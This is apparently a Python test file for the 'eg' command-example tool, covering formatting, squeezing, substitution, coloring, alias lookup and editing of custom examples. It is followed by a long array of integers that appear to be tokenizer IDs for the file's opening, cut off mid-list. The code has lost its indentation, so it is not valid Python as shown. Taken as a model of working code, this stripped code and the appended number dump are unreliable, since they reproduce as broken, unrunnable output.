# This method will be used by the mock framework to return the right file
# contents based on the file name.
def return_file_contents(*args, **kwargs):
for file_info in file_infos:
if file_info['path'] == args[0]:
return file_info['contents']
raise TypeError('did not find path in test obj')
get_contents_mock.side_effect = return_file_contents
paths = [el['path'] for el in file_infos]
actual = util.get_contents_from_files(*paths)
assert actual == target_contents
@patch('eg.util.get_colorized_contents')
@patch('eg.util.get_squeezed_contents')
@patch('eg.util.get_substituted_contents')
def _helper_assert_formatted_contents(
starting_contents,
use_color,
color_config,
squeeze,
subs,
colorized_contents,
squeezed_contents,
subbed_contents,
formatted_result,
sub_method,
squeeze_method,
color_method,
):
"""
Helper method to assist in asserting things about the
get_formatted_contents method.
starting_contents: the starting string that we are working with
use_color: True if we should use color
color_config: the color config to be passed to get_colorized_contents
squeeze: True if we should squeeze
subs: the list of Substitutions that we should pass to
get_substituted_contents
colored_contents: the result of get_colorized_contents
squeezed_contents: the result of get_squeezed_contents
subbed_contents: the result of subbed_contents
formatted_result: the final, formatted string that should be returned
"""
sub_method.return_value = subbed_contents
squeeze_method.return_value = squeezed_contents
color_method.return_value = colorized_contents
actual = util.get_formatted_contents(
starting_contents,
use_color,
color_config,
squeeze,
subs
)
# We'll update the contents as they get formatted to make sure
# we pass the right thing to the various methods.
contents_thus_far = starting_contents
if use_color:
color_method.assert_called_once_with(
contents_thus_far,
color_config
)
contents_thus_far = colorized_contents
else:
assert color_method.call_count == 0
if squeeze:
squeeze_method.assert_called_once_with(contents_thus_far)
contents_thus_far = squeezed_contents
else:
assert squeeze_method.call_count == 0
if subs:
sub_method.assert_called_once_with(
contents_thus_far,
subs
)
contents_thus_far = subbed_contents
else:
assert sub_method.call_count == 0
assert actual == formatted_result
def test_get_formatted_contents_does_not_format_methods_if_all_falsey():
"""
We should invoke none of the formatter methods if the flags are false and
subs is not truthy.
"""
starting_contents = 'this is where we start'
_helper_assert_formatted_contents(
starting_contents,
False,
'some color config',
False,
None,
'this was colored',
'this was squeezed',
'these contents were subbed',
starting_contents
)
def test_get_formatted_contents_calls_colorize_if_use_color():
"""
Colorize the contents if use_color = True.
"""
starting_contents = 'this is where we start'
colorized_contents = 'COLORIZED: this is where we start'
_helper_assert_formatted_contents(
starting_contents,
True,
'some color config',
False,
None,
colorized_contents,
'this was squeezed',
'these contents were subbed',
colorized_contents
)
def test_get_formatted_contents_squeezes():
"""If squeeze, we need to squeeze."""
starting_contents = 'this is where we start'
squeezed_contents = 'this is the result of a squeezing'
_helper_assert_formatted_contents(
starting_contents,
False,
'some color config',
True,
None,
'this was colored',
squeezed_contents,
'these contents were subbed',
squeezed_contents
)
def test_get_formatted_contents_subsitutes():
"""If subs is truthy, get_substituted contents should be called."""
starting_contents = 'this is where we start'
subbed_contents = 'substituted like a teacher'
_helper_assert_formatted_contents(
starting_contents,
False,
'some color config',
False,
['truthy', 'list'],
'this was colored',
'this was squeezed',
subbed_contents,
subbed_contents
)
def test_perform_all_formatting():
"""
When use_color, squeeze, and subs are all truthy, all the formatting
should be applied in that order.
"""
starting_contents = 'the starting point for grand formatting'
subbed_contents = 'subbed is the last thing called so should be the result'
_helper_assert_formatted_contents(
starting_contents,
True,
'some color config',
True,
['truthy', 'list'],
'this was colored',
'this was squeezed',
subbed_contents,
subbed_contents
)
def _get_file_as_string(path):
"""Get the contents of the file as a string."""
with open(path, 'r') as f:
data = f.read()
return data
def test_get_squeezed_contents_correctly_squeezes():
"""
Our squeeze method should follow our convention, which is to remove the
blank line between a description and an example, to keep two blank lines
between sections, and otherwise have only single blank lines.
"""
unsqueezed = _get_file_as_string(PATH_UNSQUEEZED_FILE)
# the target squeezed output is a reference implementation in
# pwd_squeezed.md.
target = _get_file_as_string(PATH_SQUEEZED_FILE)
actual = util.get_squeezed_contents(unsqueezed)
assert actual == target
def test_get_substituted_contents_handles_empty_subs():
"""Nothing should be formatted if there are no substitutions."""
raw_contents = 'this should not be subbed'
actual = util.get_substituted_contents(raw_contents, [])
assert actual == raw_contents
def test_get_substituted_contents_substitutes_calls_correct_methods():
"""
The get_substituted_contents method calls things in the correct order.
"""
sub_one = Mock(auto_spec=substitute.Substitution)
sub_one_result = 'result of sub one'
sub_one.apply_and_get_result.return_value = sub_one_result
sub_two = Mock(auto_spec=substitute.Substitution)
sub_two_result = 'result of sub two'
sub_two.apply_and_get_result.return_value = sub_two_result
starting_contents = 'the string we should be substituting into'
target = sub_two_result
subs = [sub_one, sub_two]
actual = util.get_substituted_contents(starting_contents, subs)
sub_one.apply_and_get_result.assert_called_once_with(starting_contents)
sub_two.apply_and_get_result.assert_called_once_with(sub_one_result)
assert actual == target
def test_get_substituted_contents_substitutes_correctly():
"""
Basic test to make sure Substitutions can get applied correctly.
"""
sub_one = substitute.Substitution('foo', 'bar', False)
sub_two = substitute.Substitution('bar\n\n', 'baz\n', True)
start = 'foo\n\n something else\n\n bar\n\n'
target = 'baz\n something else\n\n baz\n'
subs = [sub_one, sub_two]
actual = util.get_substituted_contents(start, subs)
assert actual == target
@patch('eg.color.EgColorizer')
def test_get_colorized_contents_calls_methods(patched_colorizer_class):
"""
We should call the correct methods on the EgColorizer objects when we color
a file.
"""
raw_contents = 'these are uncolored contents'
colored_contents = 'COLORED: ' + raw_contents
color_config = 'some color config'
# The actual instance created by these calls is stored at return_value.
colorizer_instance = patched_colorizer_class.return_value
colorizer_instance.colorize_text.return_value = colored_contents
actual = util.get_colorized_contents(raw_contents, color_config)
assert actual == colored_contents
colorizer_instance.colorize_text.assert_called_once_with(raw_contents)
@patch('eg.util.get_alias_dict')
def _helper_assert_get_resolved_program(
program,
resolved_program,
config_obj,
alias_dict,
mock_dict,
):
"""
program: the program to resolved for as an alias
resolved_program: the result of the resolution.
config_obj: the config_obj to use toe resolve the alias path
alias_dict: the dict of aliases to be returned
"""
mock_dict.return_value = alias_dict
actual = util.get_resolved_program(program, config_obj)
assert actual == resolved_program
mock_dict.assert_called_once_with(config_obj)
def test_get_resolved_program_no_alias():
"""
A program that is not an alias should return itself.
"""
alias_dict = {
'link': 'ln',
'nc': 'netcat'
}
config_obj = 'a config'
_helper_assert_get_resolved_program('link', 'ln', config_obj, alias_dict)
def test_get_resolved_program_is_alias():
"""
A program that is an alias should return the resolved value.
"""
alias_dict = {
'link': 'ln',
'nc': 'netcat'
}
config_obj = 'some new config'
_helper_assert_get_resolved_program('cp', 'cp', config_obj, alias_dict)
def test_get_alias_dict_returns_contents_of_correct_file():
"""
get_alias_dict should read data from the file at the default path.
"""
alias_dict = {
'link': 'ln',
'nc': 'netcat'
}
config_obj = _create_config(
examples_dir='path/to/examples/dir',
)
alias_file_path = 'path/to/alias/file'
alias_dict_str = json.dumps(alias_dict)
_helper_assert_get_alias_dict(
alias_dict_str,
alias_dict,
config_obj,
alias_file_path,
True
)
def test_get_alias_dict_fails_gracefully_if_not_file():
"""
Since users can specify a directory for examples that might not contain the
aliases file, we want to fail gracefully if the file doesn't exist.
"""
contents_of_alias_dict_file = 'should never be reached'
config_obj = _create_config(
examples_dir='path/to/examples/dir',
)
alias_file_path = 'path/to/the/alias/file'
_helper_assert_get_alias_dict(
contents_of_alias_dict_file,
{},
config_obj,
alias_file_path,
False
)
@patch('eg.util._get_contents_of_file')
@patch('eg.util._get_alias_file_path')
@patch('os.path.isfile')
def _helper_assert_get_alias_dict(
contents_of_alias_dict_file,
target_alias_dict,
config_obj,
alias_file_path,
alias_file_path_is_file,
mock_is_file,
mock_get_alias_file_path,
mock_get_contents,
):
"""
contents_of_alias_dict_file: the string contents of the file storing the
dictionary of aliases
target_alias_dict: the target result of get_alias_dict
config_obj: the Config object
alias_file_path: the path to be returned by _get_alias_file_path
alias_file_path_is_file: True if the alias path is a file, else False
"""
mock_is_file.return_value = alias_file_path_is_file
mock_get_alias_file_path.return_value = alias_file_path
mock_get_contents.return_value = contents_of_alias_dict_file
actual = util.get_alias_dict(config_obj)
assert actual == target_alias_dict
mock_get_alias_file_path.assert_called_once_with(config_obj)
mock_is_file.assert_called_once_with(alias_file_path)
if alias_file_path_is_file:
mock_get_contents.assert_called_once_with(alias_file_path)
else:
assert mock_get_contents.call_count == 0
@patch('os.path.join')
def test_get_alias_file_path(mock_join):
"""
_get_alias_file_path should just join the example dir and the alias file
name, to make sure we look in the right place for the file.
"""
config_obj = _create_config(
examples_dir='handy/dandy/examples/dir',
)
join_result = 'joined path'
mock_join.return_value = join_result
actual = util._get_alias_file_path(config_obj)
assert actual == join_result
mock_join.assert_called_once_with(
config_obj.examples_dir,
util.ALIAS_FILE_NAME
)
def test_is_example_file_true_if_has_suffix():
"""
Should be true if ends in EXAMPLE_FILE_SUFFIX.
"""
file_name = 'find.md'
actual = util._is_example_file(file_name)
assert actual == True
def test_is_example_file_true_if_not_suffix():
"""
Should be false if the file does not end in EXAMPLE_FILE_SUFFIX.
"""
file_name = 'aliases.json'
actual = util._is_example_file(file_name)
assert actual == False
def test_can_parse_alias_file():
"""
Make sure aliases.json file can be parsed.
This is to make sure an edit doesn't accidentally corrupt it.
"""
# We'll have to hardcode this.
alias_file_path = os.path.join(
config.DEFAULT_EXAMPLES_DIR,
util.ALIAS_FILE_NAME
)
alias_file_contents = util._get_contents_of_file(alias_file_path)
alias_dict = json.loads(alias_file_contents)
# We'll check that link goes to ln, as we know that one will be present.
assert alias_dict['link'] == 'ln'
@patch('os.path.exists')
@patch('eg.util._inform_cannot_edit_no_custom_dir')
@patch('eg.util.get_resolved_program')
@patch('eg.util.get_file_paths_for_program')
@patch('subprocess.call')
def test_edit_custom_examples_correct_with_custom_dir(
mock_call,
mock_get_paths,
mock_get_program,
mock_inform,
mock_exists,
):
"""
We should resolve aliases, get the custom file path, and call subprocess.
"""
program = 'du'
resolved_program = 'alias for du'
config = _create_config(custom_dir='path/to/custom', editor_cmd='nano')
paths = ['path/to/custom/du.md', 'foo.md']
mock_get_program.return_value = resolved_program
mock_get_paths.return_value = paths
mock_exists.return_value = True
util.edit_custom_examples(program, config)
mock_get_program.assert_called_once_with(program, config)
mock_get_paths.assert_called_once_with(resolved_program, config.custom_dir)
mock_call.assert_called_once_with([config.editor_cmd, paths[0]])
assert mock_inform.call_count == 0
@patch('os.path.exists')
@patch('eg.util._inform_cannot_edit_no_custom_dir')
@patch('eg.util.get_resolved_program')
@patch('eg.util.get_file_paths_for_program')
@patch('subprocess.call')
def test_edit_custom_examples_creates_file_if_none_exist(
mock_call,
mock_get_paths,
mock_get_program,
mock_inform,
mock_exists,
):
program = 'du'
resolved_program = 'alias-for-du'
config = _create_config(custom_dir='path/to/custom', editor_cmd='nano')
paths = []
mock_get_program.return_value = resolved_program
mock_get_paths.return_value = paths
mock_exists.return_value = True
util.edit_custom_examples(program, config)
mock_get_program.assert_called_once_with(program, config)
mock_get_paths.assert_called_once_with(resolved_program, config.custom_dir)
mock_call.assert_called_once_with(
[config.editor_cmd, 'path/to/custom/alias-for-du.md'])
assert mock_inform.call_count == 0
@patch('os.path.exists')
@patch('eg.util._inform_cannot_edit_no_custom_dir')
@patch('eg.util.get_resolved_program')
@patch('eg.util.get_file_paths_for_program')
@patch('subprocess.call')
def test_edit_custom_examples_informs_if_no_custom_dir(
mock_call,
mock_get_paths,
mock_get_program,
mock_inform,
mock_exists,
):
"""
We should inform the user if they are trying to edit with no custom dir.
This should be true if it is not set and if the path does not exist.
"""
program = 'awk'
# First with no custom dir set.
config = _create_config(editor_cmd='vi -e')
mock_exists.return_value = True
util.edit_custom_examples(program, config)
assert mock_inform.call_count == 1
# And now with it set but a nonexistent path.
config = _create_config(custom_dir='/path/to/custom', editor_cmd='vi -e')
mock_exists.return_value = False
util.edit_custom_examples(program, config)
assert mock_inform.call_count == 2
assert mock_call.call_count == 0
assert mock_get_paths.call_count == 0
assert mock_get_program.call_count == 0
| [
1,
1053,
4390,
13,
5215,
2897,
13,
13,
3166,
8087,
1053,
2295,
13,
3166,
8087,
1053,
23764,
13,
3166,
8087,
1053,
3667,
13,
3166,
11187,
1053,
26297,
13,
3166,
11187,
1053,
13261,
13,
13,
10145,
29918,
29965,
3059,
11144,
29923,
29999,
3352,
29918,
7724,
353,
2897,
29889,
2084,
29889,
7122,
29898,
13,
1678,
525,
1688,
742,
13,
1678,
525,
16596,
742,
13,
1678,
525,
29886,
9970,
29918,
6948,
802,
6096,
287,
29889,
3487,
29915,
13,
29897,
13,
10145,
29918,
29903,
11144,
29923,
29999,
3352,
29918,
7724,
353,
2897,
29889,
2084,
29889,
7122,
29898,
13,
1678,
525,
1688,
742,
13,
1678,
525,
16596,
742,
13,
1678,
525,
29886,
9970,
29918,
29879,
802,
6096,
287,
29889,
3487,
29915,
13,
29897,
13,
13,
13,
1753,
903,
3258,
29918,
2917,
29898,
13,
1678,
6455,
29918,
3972,
29922,
8516,
29892,
13,
1678,
2888,
29918,
3972,
29922,
8516,
29892,
13,
1678,
2927,
29918,
2917,
29922,
8516,
29892,
13,
1678,
671,
29918,
2780,
29922,
5574,
29892,
13,
1678,
282,
1875,
29918,
9006,
29922,
8516,
29892,
13,
1678,
6920,
29918,
9006,
29922,
8516,
29892,
13,
1678,
269,
802,
29872,
911,
29922,
8824,
29892,
13,
1678,
11684,
29922,
8516,
13,
1125,
13,
1678,
9995,
13,
1678,
6204,
263,
2295,
29889,
3991,
1203,
411,
2322,
1819,
363,
15310,
13396,
297,
13,
1678,
6724,
29889,
13,
1678,
9995,
13,
1678,
736,
2295,
29889,
3991,
29898,
13,
4706,
6455,
29918,
3972,
29922,
19057,
29918,
3972,
29892,
13,
4706,
2888,
29918,
3972,
29922,
6341,
29918,
3972,
29892,
13,
4706,
2927,
29918,
2917,
29922,
2780,
29918,
2917,
29892,
13,
4706,
671,
29918,
2780,
29922,
1509,
29918,
2780,
29892,
13,
4706,
282,
1875,
29918,
9006,
29922,
29886,
1875,
29918,
9006,
29892,
13,
4706,
6920,
29918,
9006,
29922,
15204,
29918,
9006,
29892,
13,
4706,
269,
802,
29872,
911,
29922,
29879,
802,
29872,
911,
29892,
13,
4706,
11684,
29922,
1491,
29879,
13,
1678,
1723,
13,
13,
13,
29992,
5041,
877,
359,
29889,
20919,
1495,
13,
1753,
1243,
29918,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29918,
2541,
29918,
14369,
29898,
17640,
29918,
20919,
1125,
13,
1678,
1824,
353,
525,
6814,
29915,
13,
1678,
6455,
29918,
3972,
353,
8207,
5959,
29914,
1017,
29878,
291,
29915,
13,
1678,
1824,
29918,
1445,
353,
1824,
718,
3667,
29889,
5746,
19297,
1307,
29918,
7724,
29918,
14605,
29943,
25634,
13,
1678,
3806,
353,
6024,
29914,
5959,
29914,
1017,
29878,
291,
29914,
6814,
29889,
3487,
2033,
13,
13,
1678,
11187,
29918,
20919,
29889,
2457,
29918,
1767,
353,
518,
13,
4706,
518,
19057,
29918,
3972,
29892,
19997,
518,
8860,
29918,
1445,
29892,
525,
6814,
29889,
3945,
742,
525,
1228,
29918,
1445,
29889,
3487,
2033,
1402,
13,
1678,
4514,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29898,
8860,
29892,
6455,
29918,
3972,
29897,
13,
1678,
4974,
3935,
1275,
3806,
13,
1678,
11187,
29918,
20919,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
19057,
29918,
3972,
29897,
13,
13,
13,
29992,
5041,
877,
359,
29889,
20919,
1495,
13,
1753,
1243,
29918,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29918,
2541,
29918,
27420,
29898,
17640,
29918,
20919,
1125,
13,
1678,
1824,
353,
525,
6814,
29915,
13,
1678,
6455,
29918,
3972,
353,
8207,
5959,
29914,
1017,
29878,
291,
29915,
13,
1678,
1824,
29918,
1445,
353,
525,
6814,
29889,
3487,
29915,
13,
13,
1678,
11187,
29918,
20919,
29889,
2457,
29918,
1767,
353,
518,
13,
4706,
518,
13,
9651,
6455,
29918,
3972,
29892,
13,
9651,
6024,
3972,
29909,
742,
525,
3972,
29933,
7464,
13,
9651,
518,
8860,
29918,
1445,
29892,
525,
6814,
29889,
3945,
742,
525,
1228,
29918,
1445,
29889,
3487,
7464,
13,
4706,
21251,
13,
4706,
518,
13,
9651,
6455,
29918,
3972,
718,
8207,
3972,
29909,
742,
13,
9651,
6024,
3972,
29909,
29899,
5145,
7464,
13,
9651,
518,
8860,
29918,
1445,
29892,
525,
12313,
29889,
3487,
7464,
13,
4706,
21251,
13,
4706,
518,
13,
9651,
6455,
29918,
3972,
718,
8207,
3972,
29909,
29914,
3972,
29909,
29899,
5145,
742,
13,
9651,
19997,
13,
9651,
6024,
12313,
29889,
3487,
742,
1824,
29918,
1445,
29892,
525,
29893,
13264,
29889,
3487,
7464,
13,
4706,
21251,
13,
4706,
518,
13,
9651,
6455,
29918,
3972,
718,
8207,
3972,
29933,
742,
13,
9651,
19997,
13,
9651,
6024,
5431,
29889,
3487,
742,
1824,
29918,
1445,
1402,
13,
4706,
21251,
13,
1678,
4514,
13,
13,
1678,
3806,
353,
518,
13,
4706,
8207,
5959,
29914,
1017,
29878,
291,
29914,
6814,
29889,
3487,
742,
13,
4706,
8207,
5959,
29914,
1017,
29878,
291,
29914,
3972,
29909,
29914,
6814,
29889,
3487,
742,
13,
4706,
8207,
5959,
29914,
1017,
29878,
291,
29914,
3972,
29909,
29914,
3972,
29909,
29899,
5145,
29914,
6814,
29889,
3487,
742,
13,
4706,
8207,
5959,
29914,
1017,
29878,
291,
29914,
3972,
29933,
29914,
6814,
29889,
3487,
742,
13,
1678,
4514,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29898,
8860,
29892,
6455,
29918,
3972,
29897,
13,
1678,
4974,
3935,
1275,
3806,
13,
1678,
11187,
29918,
20919,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
19057,
29918,
3972,
29897,
13,
13,
13,
29992,
5041,
877,
359,
29889,
20919,
1495,
13,
1753,
1243,
29918,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29918,
2541,
29918,
9290,
29898,
17640,
29918,
20919,
1125,
13,
1678,
3806,
353,
5159,
13,
1678,
11187,
29918,
20919,
29889,
2457,
29918,
1767,
353,
5159,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
877,
6814,
742,
8207,
5959,
29914,
1017,
29878,
291,
1495,
13,
1678,
4974,
3935,
1275,
3806,
13,
1678,
11187,
29918,
20919,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
11219,
5959,
29914,
1017,
29878,
291,
1495,
13,
13,
13,
29992,
5041,
877,
359,
29889,
20919,
1495,
13,
1753,
1243,
29918,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
29918,
2541,
29918,
1217,
29918,
3972,
29898,
17640,
29918,
20919,
1125,
13,
1678,
4974,
3667,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
877,
6814,
742,
6213,
29897,
1275,
5159,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
3488,
29918,
1807,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
689,
19667,
29918,
10853,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
10853,
29918,
3166,
29918,
5325,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
1753,
1243,
29918,
8411,
29918,
8860,
29918,
1217,
29918,
26586,
29898,
13,
1678,
11187,
29918,
17863,
29918,
8860,
29892,
13,
1678,
11187,
29918,
657,
29918,
10853,
29892,
13,
1678,
11187,
29918,
4830,
29892,
13,
1678,
11187,
29918,
3488,
29918,
1807,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
1334,
881,
437,
278,
1492,
2655,
565,
727,
526,
694,
9976,
363,
263,
2183,
1824,
29889,
13,
1678,
9995,
13,
1678,
1824,
353,
525,
6814,
29915,
13,
1678,
1243,
29918,
2917,
353,
903,
3258,
29918,
2917,
580,
13,
13,
1678,
11187,
29918,
17863,
29918,
8860,
29889,
2457,
29918,
1767,
353,
1824,
13,
13,
1678,
3667,
29889,
8411,
29918,
8860,
29898,
8860,
29892,
1243,
29918,
2917,
29897,
13,
13,
1678,
11187,
29918,
17863,
29918,
8860,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
1824,
29892,
13,
4706,
1243,
29918,
2917,
13,
1678,
1723,
13,
13,
1678,
396,
1334,
881,
505,
633,
18054,
322,
451,
2000,
738,
310,
278,
13,
1678,
396,
916,
3519,
29889,
13,
1678,
4974,
11187,
29918,
657,
29918,
10853,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
1678,
4974,
11187,
29918,
4830,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
1678,
4974,
11187,
29918,
3488,
29918,
1807,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
10853,
29918,
3166,
29918,
5325,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
689,
19667,
29918,
10853,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
3488,
29918,
1807,
1495,
13,
1753,
1243,
29918,
8411,
29918,
8860,
29918,
2886,
29879,
29918,
24772,
29918,
392,
29918,
29883,
4293,
29918,
3150,
29918,
29886,
1875,
29918,
1217,
29918,
19973,
29898,
13,
1678,
11187,
29918,
3488,
29892,
13,
1678,
11187,
29918,
4830,
29892,
13,
1678,
11187,
29918,
657,
29918,
24772,
29892,
13,
1678,
11187,
29918,
657,
29918,
10853,
29892,
13,
1678,
11187,
29918,
17863,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
960,
727,
526,
9976,
363,
278,
1824,
29892,
4386,
29918,
8860,
4225,
304,
679,
278,
13,
1678,
10898,
29892,
679,
278,
8118,
29892,
3402,
278,
8118,
29892,
322,
1813,
278,
9819,
13,
1678,
1347,
29889,
13,
1678,
9995,
13,
1678,
1824,
353,
525,
29324,
29915,
13,
13,
1678,
6455,
29918,
3972,
353,
525,
1688,
29899,
387,
29899,
3972,
29915,
13,
1678,
2888,
29918,
3972,
353,
525,
1688,
29899,
6341,
29899,
3972,
29915,
13,
1678,
2927,
29918,
2917,
353,
6213,
13,
1678,
671,
29918,
2780,
353,
7700,
13,
1678,
282,
1875,
29918,
9006,
353,
525,
5431,
2594,
29915,
13,
1678,
269,
802,
29872,
911,
353,
7700,
13,
1678,
11684,
353,
6024,
5431,
742,
525,
1646,
2033,
13,
13,
1678,
934,
29918,
10853,
353,
525,
29902,
626,
278,
8118,
310,
28241,
29889,
3487,
6169,
13,
1678,
20917,
29918,
10853,
353,
525,
392,
306,
626,
278,
20917,
8118,
310,
28241,
29889,
3487,
6169,
13,
13,
1678,
1243,
29918,
2917,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
29922,
19057,
29918,
3972,
29892,
13,
4706,
2888,
29918,
3972,
29922,
6341,
29918,
3972,
29892,
13,
4706,
2927,
29918,
2917,
29922,
2780,
29918,
2917,
29892,
13,
4706,
671,
29918,
2780,
29922,
1509,
29918,
2780,
29892,
13,
4706,
282,
1875,
29918,
9006,
29922,
29886,
1875,
29918,
9006,
29892,
13,
4706,
269,
802,
29872,
911,
29922,
29879,
802,
29872,
911,
29892,
13,
4706,
11684,
29922,
1491,
29879,
13,
1678,
1723,
13,
13,
1678,
2322,
29918,
24772,
353,
6024,
1688,
29899,
387,
29899,
3972,
29914,
29324,
29889,
3487,
742,
525,
1688,
29899,
387,
29899,
3972,
29914,
5431,
29914,
29324,
29889,
3487,
2033,
13,
1678,
2888,
29918,
24772,
353,
6024,
1688,
29899,
6341,
29899,
3972,
29914,
29324,
29889,
3487,
742,
525,
1688,
29899,
6341,
29899,
3972,
29914,
1646,
29889,
3487,
2033,
13,
13,
1678,
822,
736,
29918,
15728,
29918,
2084,
10456,
5085,
29892,
3579,
19290,
1125,
13,
4706,
1824,
29918,
3207,
353,
6389,
29961,
29900,
29962,
13,
4706,
4516,
29918,
3207,
353,
6389,
29961,
29896,
29962,
13,
4706,
565,
1824,
29918,
3207,
2804,
1824,
29901,
13,
9651,
12020,
4408,
2392,
877,
9684,
525,
718,
1824,
718,
13420,
2355,
525,
718,
1824,
29918,
3207,
29897,
13,
4706,
565,
4516,
29918,
3207,
1275,
6455,
29918,
3972,
29901,
13,
9651,
736,
2322,
29918,
24772,
13,
4706,
25342,
4516,
29918,
3207,
1275,
2888,
29918,
3972,
29901,
13,
9651,
736,
2888,
29918,
24772,
13,
4706,
1683,
29901,
13,
9651,
12020,
4408,
2392,
29898,
13,
18884,
525,
7085,
525,
718,
13,
18884,
4516,
29918,
3207,
718,
13,
18884,
13420,
3806,
525,
718,
13,
18884,
6455,
29918,
3972,
718,
13,
18884,
525,
470,
525,
718,
13,
18884,
2888,
29918,
3972,
29897,
13,
13,
1678,
11187,
29918,
4830,
29889,
2457,
29918,
1767,
353,
20917,
29918,
10853,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
2975,
29918,
15987,
29922,
2457,
29918,
15728,
29918,
2084,
13,
1678,
11187,
29918,
657,
29918,
10853,
29889,
2457,
29918,
1767,
353,
934,
29918,
10853,
13,
1678,
11187,
29918,
17863,
29889,
2457,
29918,
1767,
353,
1824,
13,
13,
1678,
3667,
29889,
8411,
29918,
8860,
29898,
8860,
29892,
1243,
29918,
2917,
29897,
13,
13,
1678,
11187,
29918,
17863,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
1824,
29892,
13,
4706,
1243,
29918,
2917,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
1384,
29918,
4804,
29898,
13,
4706,
1824,
29892,
13,
4706,
6455,
29918,
3972,
13,
1678,
1723,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
1384,
29918,
4804,
29898,
13,
4706,
1824,
29892,
13,
4706,
2888,
29918,
3972,
29892,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
657,
29918,
10853,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
2888,
29918,
24772,
29961,
29900,
1402,
13,
4706,
2888,
29918,
24772,
29961,
29896,
1402,
13,
4706,
2322,
29918,
24772,
29961,
29900,
1402,
13,
4706,
2322,
29918,
24772,
29961,
29896,
1402,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
4830,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
934,
29918,
10853,
29892,
13,
4706,
671,
29918,
2780,
29922,
1688,
29918,
2917,
29889,
1509,
29918,
2780,
29892,
13,
4706,
2927,
29918,
2917,
29922,
1688,
29918,
2917,
29889,
2780,
29918,
2917,
29892,
13,
4706,
269,
802,
29872,
911,
29922,
1688,
29918,
2917,
29889,
29879,
802,
29872,
911,
29892,
13,
4706,
11684,
29922,
1688,
29918,
2917,
29889,
1491,
29879,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
3488,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
20917,
29918,
10853,
29892,
13,
4706,
1243,
29918,
2917,
29889,
29886,
1875,
29918,
9006,
13,
1678,
1723,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
9778,
1490,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
10853,
29918,
3166,
29918,
5325,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
1445,
29918,
24772,
29918,
1454,
29918,
8860,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
689,
19667,
29918,
10853,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
3488,
29918,
1807,
1495,
13,
1753,
1243,
29918,
8411,
29918,
8860,
29918,
2886,
29879,
29918,
24772,
29918,
392,
29918,
29883,
4293,
29918,
3150,
29918,
29886,
1875,
29918,
2541,
29918,
19973,
29898,
13,
1678,
11187,
29918,
3488,
29892,
13,
1678,
11187,
29918,
4830,
29892,
13,
1678,
11187,
29918,
657,
29918,
24772,
29892,
13,
1678,
11187,
29918,
657,
29918,
10853,
29892,
13,
1678,
11187,
29918,
17863,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
960,
727,
526,
9976,
363,
278,
1824,
29892,
4386,
29918,
8860,
4225,
304,
679,
278,
13,
1678,
10898,
29892,
679,
278,
8118,
29892,
3402,
278,
8118,
29892,
322,
1813,
278,
9819,
13,
1678,
1347,
29889,
13,
1678,
9995,
13,
1678,
13995,
29918,
1454,
29918,
8860,
353,
525,
2324,
29915,
13,
1678,
11527,
29918,
8860,
353,
525,
3083,
29915,
13,
13,
1678,
6455,
29918,
3972,
353,
525,
1688,
29899,
387,
29899,
3972,
29915,
13,
1678,
2888,
29918,
3972,
353,
525,
1688,
29899,
6341,
29899,
3972,
29915,
13,
1678,
2927,
29918,
2917,
353,
6213,
13,
1678,
671,
29918,
2780,
353,
7700,
13,
1678,
282,
1875,
29918,
9006,
353,
525,
5431,
2594,
29915,
13,
1678,
269,
802,
29872,
911,
353,
7700,
13,
